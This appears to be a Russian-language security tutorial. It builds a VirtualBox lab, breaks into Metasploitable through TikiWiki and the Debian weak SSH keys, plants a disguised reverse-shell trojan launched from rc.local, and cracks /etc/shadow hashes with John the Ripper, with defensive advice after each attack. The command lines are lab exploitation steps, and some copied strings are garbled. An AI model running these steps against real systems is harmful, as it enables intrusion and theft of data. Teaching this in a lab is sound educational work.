В ком­пь­ю­тер­ной безо­пас­но­сти есть два пра­ви­ла: пер­вое — не по­ку­пай­те ком­пь­ю­тер, а вто­рое — ес­ли уж вы его ку­пи­ли, ни в ко­ем слу­чае не вклю­чай­те его. От­сту­пив от этих пра­вил, вы на­ры­вае­тесь на по­тен­ци­аль­ные про­бле­мы. Ни од­на сис­те­ма не за­щи­ще­на от ха­ке­ров на 100 %, од­на­ко ес­ли сле­до­вать несколь­ким про­стым ша­гам, то взло­мать вас станет на­мно­го сложнее.

Взлом, он же хак – это ис­кусст­во по­лу­чить доступ к за­прет­ной для вас ком­пь­ю­тер­ной сис­те­ме. Те, кто прак­ти­ку­ет взлом, ис­поль­зу­ют ошиб­ки и сбои в про­грам­мах, что­бы за­ста­вить их ра­бо­тать не так, как они долж­ны. Мы рас­смот­рим два при­ме­няе­мых ими ме­то­да и по­ка­жем, как не стать жерт­вой. Мы по­лу­чим доступ ад­минист­ра­то­ра к сис­те­ме, по­зво­ляю­щий нам де­лать все, что за­хо­чет­ся – от кра­жи ин­фор­ма­ции до сти­рания всей ин­фор­ма­ции с дис­ков.


Ата­ки ре­аль­ны и на­це­ле­ны на ре­аль­ную сис­те­му Linux (хо­тя в на­шем слу­чае бу­дет ис­поль­зо­ва­на уста­рев­шая сис­те­ма). [продолжение на стр. 26]Чи­тай­те, и вы уз­нае­те, как взлом­щик мо­жет ук­расть дан­ные или весь ваш ком­пь­ю­тер – и как за­щи­тить свою сис­те­му. Что­бы за­щи­тить­ся, на­до знать, от че­го за­щи­ща­ешь­ся.

[править] Шаг за шагом: Установка виртуальной сети

[править] 1. Ска­чай­те ди­ст­ри­бу­тив

Мы бу­дем ис­поль­зо­вать BackTrack и Metasploitable. ISO-об­раз Backtrack 5 на­хо­дит­ся на www.backtrack-linux.org/downloads/, а об­раз Metasploitable для же­ст­ко­го дис­ка VirtualBox – на www.sourceforge.net/projects/virtualhacking/files/os/metasploitable/.

[править] 2. За­пусти­те Virtualbox

Ус­та­но­ви­те Virtualbox. В боль­шин­ст­ве ди­ст­ри­бу­ти­вов долж­ны быть па­ке­ты для него; ес­ли в ва­шем их нет, уста­но­воч­ные фай­лы мож­но взять на www.virtualbox.org. Зай­ди­те в File > Preferences и вы­бе­ри­те Network. Ес­ли спи­сок се­тей пуст, на­жми­те на зна­чок +, и поя­вит­ся сеть vboxnet0.

[править] 3. Соз­дай­те ма­ши­ну

Соз­дай­те но­вую ма­ши­ну под именем BackTrack. В ка­че­­ст­ве ОС вы­бе­ри­те Linux, а вер­сии – Ubuntu. На­значь­те ей по крайней ме­ре 730 МБ па­мя­ти, а на эк­ране Virtual Hard Disk сними­те га­лоч­ку с Boot Hard Disk. На пре­ду­пре­ж­дение от­веть­те Continue, за­тем на­жми­те Create.

[править] 4. Вклю­чи­те адап­те­ры

Щелкните пра­вой кноп­кой по New Virtual Machine и зай­ди­те в Settings. Вы­бе­ри­те Network, про­верь­те, что адап­тер 1 – Enabled и Attached To NAT, а адап­тер 2 – Enabled и Attached To Host-only Adapter. Два­ж­ды щелкните по ма­шине. В мас­те­ре First Run, на­жми­те на BackTrack ISO (Что­бы занести в спи­сок CD/DVD Images, на­жми­те Add). В при­гла­шении Boot на­жми­те ввод, и еще раз ввод, что­бы вы­брать BackTrack Text – Default Boot Text Mode.

[править] 5.При­го­товь­те жерт­ву

В команд­ной стро­ке вве­ди­те startx, что­бы за­пустить окон­ный менед­жер. Сей­час по­ра го­то­вить ма­ши­ну-жерт­ву – в окне VirtualBox на­жми­те New, что­бы соз­дать но­вую вир­ту­аль­ную ма­ши­ну. От­дай­те ей при­мер­но чет­верть па­мя­ти ва­ше­го ком­пь­ю­те­ра, а на эк­ране Virtual Hard Disk щелкните по Use Existing Hard Disk и вы­бе­ри­те Metasploitable.vmdk, ко­то­рый был раз­ар­хи­ви­ро­ван на пер­вом ша­ге.

[править] 6. По­ра втор­гать­ся

Щелкните пра­вой кноп­кой по вир­ту­аль­ной ма­шине Metasploitable и вы­бе­ри­те Settings. В спи­ске сле­ва вы­бе­ри­те System, за­тем на вклад­ке Motherboard вклю­чи­те Enable IO APIC, а на вклад­ке Processor – Enable PAE/NX. В Network, как в и BackTrack, вы­бе­ри­те Host-only Adapter. Те­перь два­ж­ды щелкните по вир­ту­аль­ной ма­шине. Она за­гру­зит­ся в тек­сто­вый эк­ран вхо­да – на­счет де­та­лей вхо­да не вол­нуй­тесь: мы ведь бу­дем осуществлять вторжение.



[править] Ата­ка на сер­вер

Когда го­во­рят о взло­ме, мно­гие пред­став­ля­ют че­ло­ве­ка за под­клю­чен­ным к се­ти ком­пь­ю­те­ром, ко­то­рый ата­ку­ет дру­гой ком­пь­ю­тер в се­ти и по­лу­ча­ет к нему доступ. Это мы понима­ем под ата­кой сер­ве­ра. Как сред­ст­во взло­ма мы бу­дем ис­поль­зо­вать ди­ст­ри­бу­тив BackTrack, спе­ци­аль­но за­то­чен­ный под тес­ты втор­жения (эле­гант­ное на­звание взло­ма соб­ст­вен­ной сис­те­мы). Об­раз дис­ка вир­ту­аль­ной ма­ши­ны под на­званием Metasploitable, спе­ци­аль­но сде­лан­ный уяз­ви­мым для атак, бу­дет на­шей жерт­вой.

Metasploit Framework – сис­те­ма для сбо­ра всех уяз­ви­мо­стей, дыр в безо­пас­но­сти, сис­тем сканиро­вания и ра­бо­чих на­гру­зок в од­ной по­су­де. Это ути­ли­та команд­ной стро­ки, но мы бу­дем ис­поль­зо­вать ее че­рез гра­фи­че­­ский ин­тер­фейс. На ма­шине BackTrack за­пусти­те Applications > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > Armitage. В но­вом окне на­жми­те Start MSF и по­до­ж­ди­те, когда от­кро­ет­ся основ­ное ок­но про­грам­мы.

Пе­рей­ди­те в Hosts > Nmap Scan > Intense Scan и в от­вет на за­прос вве­ди­те диа­па­зон IP-ад­ре­сов 192.168.56.0/24 (ес­ли вы ме­ня­ли па­ра­мет­ры DHCP-сер­ве­ра VirtualBox, ва­ше зна­чение бу­дет дру­гим) и по­до­ж­ди­те, по­ка про­грам­ма не объ­я­вит о за­вер­шении сканиро­вания.

При этом об­на­ру­жит­ся че­ты­ре хоста: один для хосто­вой ма­ши­ны, один для DHCP-сер­ве­ра, один для ма­ши­ны BackTrack и один – для сер­ве­ра Metasploitable. Что­бы по­нять, ка­кие ата­ки мы смо­жем про­вер­нуть на этих хостах, пе­рей­ди­те в Attacks > Find Attacks > By Port и по­до­ж­ди­те, по­ка не уви­ди­те со­об­щение Attack Analysis Complete. Са­мая слож­ная часть ата­ки на сер­вер – уз­нать, ка­кую имен­но уяз­ви­мость нуж­но ис­поль­зо­вать. В на­шем слу­чае нам из­вест­но, что жерт­ва за­пусти­ла TikiWiki, где со­дер­жит­ся уяз­ви­мость в PHP, по­зво­ляю­щая вы­полнить код нашего эксплойта.

Щелкните пра­вой кноп­кой по хосту Metasploitable (ес­ли вы не уве­ре­ны, какой это хост, от­крой­те тер­ми­нал и вве­ди­те ifconfig. Вы­ве­дет­ся IP-ад­рес те­ку­щей ма­ши­ны. Ма­ши­на-хост бу­дет иметь IP 192.168.56.1, у DHCP-сер­ве­ра это 192.168.56.100, а остав­ший­ся – у сер­ве­ра Metasploitable) и пе­рей­ди­те в Attack > webapp > Tikiwiki_graph_formula_exec. Убе­див­шись, что LHOST при­сво­ен IP ма­ши­ны BackTrack, на­жми­те на за­пуск. По­сле за­пуска экс­плой­та зна­чок хоста дол­жен стать крас­ным, что знамену­ет успех опе­ра­ции. Сно­ва щелкните пра­вой кноп­кой по знач­ку хоста и вы­бе­ри­те Shell > Interact. От­кро­ет­ся вклад­ка – минималь­ная обо­лоч­ка, за­пу­щен­ная на ма­шине-жерт­ве. Для про­вер­ки вве­ди­те whoami, и вы уз­нае­те, что взло­ма­ли поль­зо­ва­те­ля www-data. Эта обо­лоч­ка ог­ра­ниче­на – вы не смо­же­те ис­поль­зо­вать cd для пе­ре­хо­да в дру­гой ка­та­лог, од­на­ко неко­то­рую ин­фор­ма­цию из­влечь уда­ст­ся. На­при­мер, за­пустив

ls /home

мы уз­на­ем спи­сок поль­зо­ва­те­лей сис­те­мы. Metasploitable со­б­ран на Ubuntu 8.04, а в Ubuntu вер­сий 7.04 – 8.04 су­ще­ст­во­ва­ла про­бле­ма генера­то­ра клю­чей SSH. Он соз­да­вал клю­чи с по­мо­щью генера­то­ра слу­чай­ных чи­сел, од­на­ко для за­трав­ки генера­то­ра брал­ся ID про­цес­са. По­сколь­ку ко­ли­че­­ст­во про­цес­сов ог­раниче­но свер­ху чис­лом 37 768, то и клю­чей вы­ра­ба­ты­ва­лось не боль­ше. Это чис­ло до­воль­но ма­ло, и про­бить ключ лег­ко.

Пре­ж­де чем ид­ти в ата­ку, нуж­но уз­нать, с ка­ки­ми от­кры­ты­ми клю­ча­ми сис­те­ма пустит нас. Вернем­ся в обо­лоч­ку Armitage и вве­дем

cat /root/.ssh/authorized_keys

На вы­хо­де бу­дет 2048-раз­ряд­ный от­кры­тый ключ RSA, ав­то­ри­зо­ван­ный для вхо­да от имени root. Най­ди мы со­от­вет­ст­вую­щий за­кры­тый ключ, мы бы смог­ли SSH’нуть в учет­ную запись root без па­ро­ля. Обыч­но здесь слиш­ком мно­го нуж­но про­ве­рять, но по­сколь­ку нам из­вест­на сла­бость генера­то­ра клю­чей, круг про­ве­рок силь­но су­жа­ет­ся.

Все воз­мож­ные па­ры клю­чей доступ­ны на www.digitaloffense.net/tools/debian-openssl/. Восполь­зу­ем­ся ссыл­кой под именем SSH 2048-bit RSA Keys X86 (48.0M). Раз­ар­хи­ви­ру­ем этот файл, от­крыв тер­ми­нал и вы­полнив

tar xjf debian debian_ssh_rsa_2048_x86.tar.bz2

а за­тем пе­рей­ти в но­вый ка­та­лог ко­ман­дой:

cd rsa/2048

Сей­час в этом ка­та­ло­ге со­дер­жат­ся все па­ры клю­чей, ко­то­рые вы­да­ет де­фект­ный генера­тор клю­чей от Debian. Что­бы най­ти нуж­ную, вве­ди­те:

grep -li AAAAB3NzaC1yc2EAAAA BIwAAAQEApmGJFZNL0ibMNAL *.pub

где

AAAAB3NzaC1yc2EAAAABI wAAAQEApmGJFZNL0ibMNAL

– пер­вая часть от­кры­то­го клю­ча, ко­то­рый мы на­шли на сер­ве­ре: так как воз­мож­ных клю­чей немно­го, весь вво­дить необя­за­тель­но. Ко­ман­да об­на­ру­жит один файл клю­ча:

57c3115d77c5639o332dc5c49978627 a-5429.pub

Сей­час с по­мо­щью ко­ман­ды

ssh -i ~/rsa/2048/ 57c3115d77c5639o332dc 5c49978627a-5429 root@192.168.56.102

где

192.168.56.102

– это IP-ад­рес сер­ве­ра Metasploitable, мож­но вой­ти на сер­вер, при­чем у вас бу­дет доступ root, и вы смо­же­те про­из­во­дить лю­бые дей­ст­вия или красть лю­бые дан­ные.



[править] За­щи­ти­те се­бя

Ес­ли ог­раничить чис­ло служб, доступ­ных на ва­шем сер­ве­ре, толь­ко на­сущ­но необ­хо­ди­мы­ми, безо­пас­ность воз­рас­тет. На­при­мер, ес­ли вы за­пусти­ли толь­ко HTTP, SSH и SFTP, но не Telnet и FTP, вы тем са­мым снизи­ли на 40 % ко­ли­че­­ст­во по­тен­ци­аль­но уяз­ви­мых сер­ви­сов по сравнению с си­туа­ци­ей, когда ра­бо­та­ют все пять, не умень­шив объ­ем воз­мож­но­стей, доступ­ных для поль­зо­ва­те­лей. Что­бы про­вес­ти ата­ку, мы ис­поль­зо­ва­ли из­вест­ные ата­ки на уста­рев­шие про­грам­мы, и ключ к са­мо­за­щи­те – всегда при­ме­нять за­плат­ки безо­пас­но­сти. Плюс к то­му, мож­но про­ве­рять ком­пь­ю­те­ры на пред­мет из­вест­ных дыр безо­пас­но­сти с по­мо­щью сканеров уяз­ви­мо­стей, на­при­мер Nessus (www.nessus.org). Nessus – ком­мер­че­­ская про­грам­ма, но для до­машнего ис­поль­зо­вания бес­плат­на. По­сле уста­нов­ки вам по­тре­бу­ет­ся за­ре­ги­ст­ри­ро­вать­ся на сай­те. На поч­ту вам вы­шлют ключ вме­сте с ин­ст­рук­ци­ей, как ак­ти­ви­ро­вать про­грам­му и до­ба­вить поль­зо­ва­те­ля. По­сле это­го вы по­лу­чи­те доступ к про­грам­ме че­рез web-ин­тер­фейс на http://localhost:8834.

За­плат­ки безо­пас­но­сти и сканеры за­щи­тят вас толь­ко от из­вест­ных уяз­ви­мо­стей. Ата­ки Zero-day – Дня Нуль – те, что про­ис­хо­дят до то­го, как со­об­ще­ст­во за­ме­тит и ис­пра­вит уяз­ви­мость. Про­тив них оборонять­ся го­раз­до сложнее.

Мак­си­маль­но за­щи­тив свое ПО, мож­но за­од­но на­стро­ить сис­те­му на от­сле­жи­вание по­доз­ри­тель­ной ак­тив­но­сти. Сис­те­ма пре­дот­вра­щения втор­жений в сеть [Network Intrusion Prevention System, NIPS], по­одоб­ная Snort, сле­дит за се­те­вой ак­тив­но­стью и док­ла­ды­ва­ет о необыч­ных под­клю­чениях. Мы тес­ти­ро­ва­ли ее, за­пустив сканиро­вание в ата­ке, опи­сан­ной вы­ше, на Security Onion (ди­ст­ри­бу­тив, в ко­то­ром Snort уста­нов­ле­на по умол­чанию), и она за­ре­ги­ст­ри­ро­ва­ла 278 со­бы­тий, касающихся безо­пас­но­сти. Ес­ли за­пустить сис­те­му, по­доб­ную этой, и сле­дить за необыч­ны­ми со­бы­тия­ми, вы смо­же­те рас­по­знать по­тен­ци­аль­ные ата­ки до их на­ча­ла.

Од­на из двух на­ших атак про­из­во­ди­лась про­тив web-при­ло­жения (TikiWiki) – та­кой тип про­грамм очень по­пу­ля­рен у ха­ке­ров. В них пол­но дыр безо­пас­но­сти, мно­гие из ко­то­рых обя­за­ны пло­хой про­вер­ке в по­лях вво­да, что по­зво­ля­ет взлом­щи­кам вы­пол­нять про­из­воль­ный код. В слу­чае web-при­ло­жений ис­поль­зо­вать са­мые по­следние вер­сии еще важнее, так как ес­ли уяз­ви­мость из­вест­на, то про­вес­ти ата­ку – па­ра пустя­ков.

[править] Ата­ку­ем пер­со­наль­ный ком­пь­ю­тер

С точ­ки зрения ха­ке­ра, глав­ное от­ли­чие пер­со­наль­но­го ком­пь­ю­те­ра от сер­ве­ра в том, что у сер­ве­ра от­кры­то мно­же­ст­во пор­тов (на­при­мер, http или FTP), а у на­столь­ной сис­те­мы – нет. Это оз­на­ча­ет, что при ата­ке на­столь­но­го ком­пь­ю­те­ра при­хо­дит­ся при­ме­нять дру­гой под­ход. По­лу­чив фи­зи­че­­ский доступ к ком­пь­ю­те­ру, из­влечь из него дан­ные про­сто. Про­стей­ший спо­соб – вста­вить live-ди­ст­ри­бу­тив в CD-при­вод или порт USB, за­гру­зить­ся и при­мон­ти­ро­вать же­ст­кий диск. Это даст вам абсолютный кон­троль над всем же­ст­ким дис­ком. Но ес­ли поль­зо­ва­тель за­бо­тит­ся о безо­пас­но­сти и за­шиф­ро­вал диск, це­ли­ком или час­тично, то за­да­ча услож­ня­ет­ся.

В неко­то­рых ди­ст­ри­бу­ти­вах (на­при­мер, Ubuntu) у поль­зо­ва­те­ля есть воз­мож­ность за­шиф­ро­вать свой до­машний ка­та­лог. То есть ес­ли вы за­гру­зи­тесь с live-ди­ст­ри­бу­ти­ва, в корневом раз­де­ле вы уви­ди­те об­щие дан­ные, но не фай­лы поль­зо­ва­те­ля. До сих пор еще неиз­вест­ны взло­мы со­вре­мен­ных ал­го­рит­мов шиф­ро­вания, но это не зна­чит, что у нас нет воз­мож­но­сти проник­нуть к данным; за­да­ча про­сто ста­но­вит­ся бо­лее хит­рой. Сей­час мы при­ве­дем на ком­пь­ю­тер тро­ян­ско­го ко­ня, что по­зво­лит нам по­лу­чить доступ к фай­лам по­сле то­го, как поль­зо­ва­тель при­мон­ти­ру­ет раз­дел.

Это мож­но по­пы­тать­ся про­де­лать с ис­поль­зо­ванием VirtualBox. На­ши ша­ги ра­бо­та­ют с Ubuntu в ка­че­­ст­ве ди­ст­ри­бу­ти­ва-жерт­вы, и BackTrack – ди­ст­ри­бу­ти­ва ха­ке­ра, но мо­же­те взять и дру­гие, ес­ли в них есть со­от­вет­ст­вую­щие воз­мож­но­сти. У жерт­вы дол­жен быть за­шиф­ро­ван­ный до­машний ка­та­лог, а ата­кую­щей сис­те­ме тре­бу­ет­ся Metasploit Framework. Сна­ча­ла соз­дай­те вир­ту­аль­ную ма­ши­ну с уста­нов­лен­ной по­следней вер­си­ей Ubuntu и по­за­боть­тесь, что­бы на эта­пе соз­дания поль­зо­ва­те­ля бы­ло вы­бра­но Encrypt My Home Folder. Се­те­вой адап­тер ма­ши­ны дол­жен быть уста­нов­лен Host-only.

Ус­та­но­вив опе­ра­ци­он­ную сис­те­му и за­пустив вир­ту­аль­ную ма­ши­ну, зай­ди­те в Devices > CD/DVD Devices, убе­ди­тесь, что Ubuntu install CD не вы­бран, а вме­сто него вы­бе­ри­те BackTrack ISO. Пе­ре­за­гру­зи­те сис­те­му. BackTrack по­ве­дет се­бя тем же об­ра­зом, что live CD на ком­пь­ю­те­ре с уста­нов­лен­ным Ubuntu. На странице Boot Options на­жми­те ввод, что­бы вы­брать BackTrack Text – Default Boot Text Mode. По умол­чанию вход в сис­те­му бу­дет под поль­зо­ва­те­лем root в тек­сто­вом ок­ру­жении. Что­бы за­пустить ра­бо­чий стол, вве­ди­те:

startx

Нам нуж­но при­мон­ти­ро­вать диск с Ubuntu, так что от­крой­те тер­ми­нал (Ctrl+Alt+T) и вве­ди­те команду

mkdir /mnt/victim

mount /dev/sda1 /mnt/victim

Сей­час вы мо­же­те пе­ре­ме­щать­ся по же­ст­ко­му дис­ку, но при по­пыт­ке зай­ти в до­машний ка­та­лог вы уви­ди­те толь­ко лишь тек­сто­вый файл, где го­во­рит­ся, что со­дер­жи­мое ка­та­ло­га за­шиф­ро­ва­но.

На­строй­те ата­кую­щий ком­пь­ю­тер тем же спо­со­бом, что бы­ло про­де­ла­но при ата­ке сер­ве­ра. Для оп­ре­де­ления IP-ад­ре­са за­пусти­те ifconfig.

На ма­шине-жерт­ве соз­дай­те тро­ян­ско­го ко­ня – в на­шем слу­чае это об­рат­ная tcp обо­лоч­ка [reverse tcp shell] – с по­мо­щью msfpayload, вве­дя

msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.56.101 LPORT=443 X > /mnt/victim/bin/UbuntuUpdate

где 192.168.56.101 – IP-ад­рес ата­кую­щей ма­ши­ны. Эта ко­ман­да соз­да­ет ис­пол­няе­мый файл под на­званием UbuntuUpdate (на­звание вы­гля­дит без­обид­но, и у поль­зо­ва­те­ля не возникнет по­доз­рений, когда он уви­дит ее в спи­ске про­цес­сов), ко­то­рая под­клю­чит­ся к ата­кую­щей ма­шине на порт 443. Сде­ла­ем ее ис­пол­няе­мой:

chmod +x /mnt/victim/bin/UbuntuUpdate

Те­перь нам нуж­но ее за­пус­тить. В ва­шем тек­сто­вом ре­дак­то­ре до­бавь­те в файл /mnt/victim/etc/rc.local стро­ку

/bin/UbuntuUpdate

не­по­сред­ст­вен­но пе­ред стро­кой

exit 0

Этот файл вы­пол­ня­ет­ся при ка­ж­дой за­груз­ке ком­пь­ю­те­ра. Под­го­то­вив ком­пь­ю­тер жерт­вы, на­стро­им ата­кую­щий ком­пь­ю­тер на про­слу­ши­вание со­единения. От­крой­те на нем тер­ми­нал и вве­ди­те

msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.56.101 LPORT=443 E

Что­бы на­чать ата­ку, пе­ре­за­гру­зи­те ком­пь­ю­тер-жерт­ву без live CD (в ме­ню вир­ту­аль­ной ма­ши­ны зай­ди­те в Devices > CD/DVD Devices и сними­те га­лоч­ку у BackTrack CD). Как толь­ко вы по­па­дае­те на эк­ран вхо­да, возника­ет связь со взлом­щи­ком. В тер­ми­на­ле, где был за­пу­щен msfcli, вы долж­ны по­лу­чить доступ к ком­пь­ю­те­ру-жерт­ве (при­гла­шения команд­ной стро­ки нет). Ес­ли вве­сти ко­ман­ду whoami, вы в от­вет по­лу­чи­те root.

Так как rc.local за­пу­щен с пра­ва­ми су­пер­поль­зо­ва­те­ля, это от­ра­жа­ет­ся на на­шем уда­лен­ном се­ан­се. Из уда­лен­но­го тер­ми­на­ла мы смо­жет обо­зре­вать фай­лы, до­бав­лять поль­зо­ва­те­лей и де­лать все, что нам за­бла­го­рас­су­дит­ся. Од­на­ко нам не уда­ст­ся при­мон­ти­ро­вать до­машний ка­та­лог, не зная па­ро­ля поль­зо­ва­те­ля, так что сле­ду­ет по­до­ж­дать, по­ка поль­зо­ва­тель не вой­дет в сис­те­му. Как толь­ко поль­зо­ва­тель вве­дет свой па­роль на ком­пь­ю­те­ре-жерт­ве, сис­те­ма при­мон­ти­ру­ет за­шиф­ро­ван­ный том, и мы смо­жем обо­зре­вать, ре­дак­ти­ро­вать или уда­лять фай­лы, как буд­то их и не шиф­ро­ва­ли.

[править] Ус­та­нов­ка па­ро­ля BIOS

Мож­но пре­дот­вра­тить за­груз­ку ма­ши­ны с live-ди­ст­ри­бу­ти­вом, уда­лив оп­ции CD и USB из спи­ска за­груз­ки в BIOS, а за­тем уста­но­вив па­роль BIOS, что­бы взлом­щик не смог вер­нуть их об­рат­но. Бо­лее це­ле­на­прав­лен­ный взлом­щик, тем не менее, спо­со­бен вы­та­щить при­вод из ком­пь­ю­те­ра и под­клю­чить его к дру­го­му, где он смо­жет его при­мон­ти­ро­вать. Един­ст­вен­ный спо­соб пол­но­стью ог­ра­дить се­бя от ата­ки та­ко­го ви­да – за­шиф­ро­вать же­ст­кий диск це­ли­ком и за­дать хо­ро­ший па­роль.

Боль­шин­ст­во основ­ных ди­ст­ри­бу­ти­вов под­дер­жи­ва­ют пол­ное шиф­ро­вание дис­ка. Вклю­чение его при уста­нов­ке обыч­но дости­га­ет­ся вы­бо­ром оп­ции Encrypted LVM на ста­дии раз­бив­ки дис­ка. Поль­зо­ва­те­лям Ubuntu при­дет­ся для это­го ис­поль­зо­вать аль­тер­на­тив­ный уста­но­воч­ный CD, по­сколь­ку в обыч­ной уста­нов­ке дан­ная оп­ция не под­дер­жи­ва­ет­ся. На­до это вам или нет, за­ви­сит от ве­ро­ят­но­сти по­па­дания ком­пь­ю­те­ра в ру­ки взлом­щи­ка и цен­но­сти ин­фор­ма­ция на нем. Как пра­ви­ло, но­ут­бу­ки уяз­ви­мее на­столь­ных ком­пь­ю­те­ров, ведь их те­ря­ют и кра­дут на­мно­го ча­ще.

В на­шем при­ме­ре мы по­ка­за­ли, как взлом­щик мо­жет уста­но­вить тро­ян­ско­го ко­ня; од­на­ко он мо­жет достиг­нуть то­го же эф­фек­та, хит­ро­стью за­ста­вив поль­зо­ва­те­ля за­пустить про­грам­му. Тро­ян мо­жет быть да­же вклю­чен в файл DEB или RPM, или дру­гие про­грам­мы. Луч­ший спо­соб за­щи­тить се­бя от та­кой ата­ки – за­пускать про­грам­мы толь­ко из на­деж­ных, про­ве­рен­ных ис­точников: на­при­мер, из офи­ци­аль­ных ре­по­зи­то­ри­ев ва­ше­го ди­ст­ри­бу­ти­ва. Эти ис­точники долж­ны со­дер­жать крип­то­гра­фи­че­скую подпись, для га­ран­тии, что со­дер­жи­мое никем из­вне не ме­ня­лось. Съем­ные но­си­те­ли, ти­па USB-брел­ков, мо­гут со­дер­жать код, ав­то­ма­ти­че­­ски вы­пол­няе­мый при под­клю­чении но­си­те­ля, од­на­ко Linux дол­жен всегда вы­да­вать за­прос на под­твер­ждение, пре­ж­де чем за­пустить про­грам­му. Ес­ли вы не уве­ре­ны, что этот код за­кон­ный, не за­пускай­те его.

Ути­ли­та Tripwire мо­жет про­ве­рять, ка­кие фай­лы в сис­те­ме из­менены. При пер­вом за­пуске она соз­да­ет ба­зу дан­ных из хэ­шей всех фай­лов сис­те­мы, и за­тем поль­зо­ва­тель мо­жет за­пустить ее в лю­бое вре­мя и уз­нать, ка­кие фай­лы ме­ня­лись. Она не мо­жет со­об­щить, по­че­му они бы­ли из­менены (на­при­мер, бы­ло ли это на­стоя­щее об­нов­ление, или не за­гру­зил ли взлом­щик вре­до­носный код) – рас­по­зна­вание это­го уже пе­ре­кла­ды­ва­ет­ся на пле­чи поль­зо­ва­те­ля. При ис­поль­зо­вании фла­га -P ба­за дан­ных под­пи­сы­ва­ет­ся оп­ре­де­лен­ной фра­зой-па­ро­лем. Ес­ли это­го не сде­лать, взлом­щик смо­жет пе­ре­за­пи­сать ба­зу дан­ных хэ­ша­ми из­менен­ных фай­лов.

[править] Вы­бор па­ро­ля

При неог­раничен­ном чис­ле по­пы­ток мож­но по­доб­рать лю­бой па­роль, од­на­ко хо­ро­ший па­роль под­би­рать на­столь­ко дол­го, что ко вре­мени, когда взлом­щик его най­дет, это ут­ра­тит важ­ность. На­при­мер, ес­ли пе­ре­би­рать 100 па­ро­лей в се­кун­ду, зная, что па­роль – сло­во из сло­ва­ря (Oxford English Dictionary со­дер­жит око­ло 200 000 слов), то на оты­скание па­ро­ля по­тре­бу­ет­ся 2000 се­кун­д, или 33 ми­ну­ты.


Оче­вид­но, нам хо­чет­ся, что­бы наш па­роль со­про­тив­лял­ся доль­ше – зна­чит, нуж­но быть менее пред­ска­зуе­мым. Ес­ли па­роль – слу­чай­ная стро­ка сим­во­лов, то чис­ло воз­мож­ных ком­би­на­ций – это чис­ло воз­мож­ных сим­во­лов в сте­пени их ко­ли­че­­ст­ва. На­при­мер, пя­ти­сим­воль­ная стро­ка из букв в нижнем ре­ги­ст­ре (26 ва­ри­ан­тов) мо­жет быть лю­бой из 26 * 26 * 26 * 26 * 26 = 11881376 воз­мож­ных ком­би­на­ций. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 118,814 се­кунд, или 33 ча­са.

Ка­ж­дый до­бав­лен­ный к па­ро­лю сим­вол уве­ли­чит вре­мя пе­ре­бо­ра в 26 раз, то есть слу­чай­ный па­роль из шес­ти букв в нижнем ре­ги­ст­ре нуж­но под­би­рать 35 дней, а се­ми­сим­воль­ный – два с по­ло­ви­ной го­да. Конеч­но, здесь пред­по­ла­га­ет­ся, что ско­рость пе­ре­бо­ра – 100 про­ве­рок в се­кун­ду, а в дей­ст­ви­тель­но­сти она мо­жет быть на­мно­го боль­ше, или мень­ше, в за­ви­си­мо­сти от сис­те­мы. John The Ripper [Джон-по­тро­ши­тель, – прим. пер.] – это ути­ли­та взло­ма па­ро­лей, ко­то­рая мон­ти­ру­ет сло­вар­ные ата­ки на хэ­ши па­ро­лей. Обыч­но она по­став­ля­ет­ся в па­ке­те под на­званием John, и доступ­на на www.openwall.com/john/. Что­бы по­нять, на­сколь­ко бы­ст­ро вы мо­жете взла­мы­вать па­ро­ли, за­пусти­те эта­лон­ный тест, вве­дя

john --test

Это та ско­рость, при ко­то­рой вы смо­же­те взло­мать па­ро­ли, когда у вас есть хэ­ши; ата­ка гру­бой си­лы по се­ти бу­дет на­мно­го мед­леннее.

Вме­сто то­го, что­бы уве­ли­чи­вать дли­ну па­ро­ля, вы мо­же­те рас­ши­рить ко­ли­че­­ст­во ис­поль­зуе­мых сим­во­лов. На­при­мер, стро­ка из пя­ти сим­во­лов, со­дер­жа­щая циф­ры и бу­к­вы в обо­их ре­ги­ст­рах, мо­жет принимать лю­бую из 62 * 62 * 62 * 62 * 62 воз­мож­но­стей, то есть где-то 92 000 000 штук. При той же ско­ро­сти пе­ре­бо­ра это зай­мет 916132 се­кунд, или 10,6 дней, а шес­ти- и се­ми­сим­воль­ный па­ро­ли – 1,8 и 112 лет, со­от­вет­ст­вен­но.

Про­бле­ма с труд­но­взла­мы­вае­мы­ми па­ро­ля­ми обыч­но в том, что их, как пра­ви­ло, очень слож­но за­по­ми­нать. Од­но из ре­шений, пред­ло­жен­ное Рэн­дел­лом Ман­ро [Randall Munroe] на xkcd.com – ис­поль­зо­вание мно­го­слов­ных па­ро­лей, на­при­мер, несколь­ко не свя­зан­ных ло­ги­че­­ски слов в нижнем ре­ги­ст­ре, стоя­щих вме­сте. В пред­по­ло­жении, что взлом­щик зна­ет струк­ту­ру слов, па­роль мож­но рас­смат­ри­вать как стро­ку из че­ты­рех «сим­во­лов», где ка­ж­дый «сим­вол» пред­став­ля­ет со­бой сло­во. Ес­ли ог­раничить­ся дву­мя ты­ся­ча­ми рас­хо­жих слов, то чис­ло по­тен­ци­аль­ных па­ро­лей рав­но 2000 * 2000 * 2000 * 2000, то есть 16 трил­лио­нов, взло­мать ко­то­рые при тех же усло­ви­ях зай­мет 160 мил­ли­ар­дов се­кунд, или 5073 го­да. Па­роль cameratrainingrassminister столь же безо­па­сен, как и 5Hjs9gE, но за­помнить его го­раз­до про­ще.

Один из спо­со­бов уз­нать, на­сколь­ко безо­па­сен ваш па­роль – по­пы­тать­ся взло­мать его с по­мо­щью John The Ripper. Сна­ча­ла за­пусти­те unshadow, что­бы со­че­тать /etc/passwd, со­дер­жа­щий де­та­ли учет­ной за­пи­си поль­зо­ва­те­ля, с /etc/shadow, ко­то­рый хранит хэ­ши па­ро­лей.

sudo unshadow /etc/passwd /etc/shadow > hashes

За­тем с по­мо­щью

john hashes

за­пус­ти­те John The Ripper.

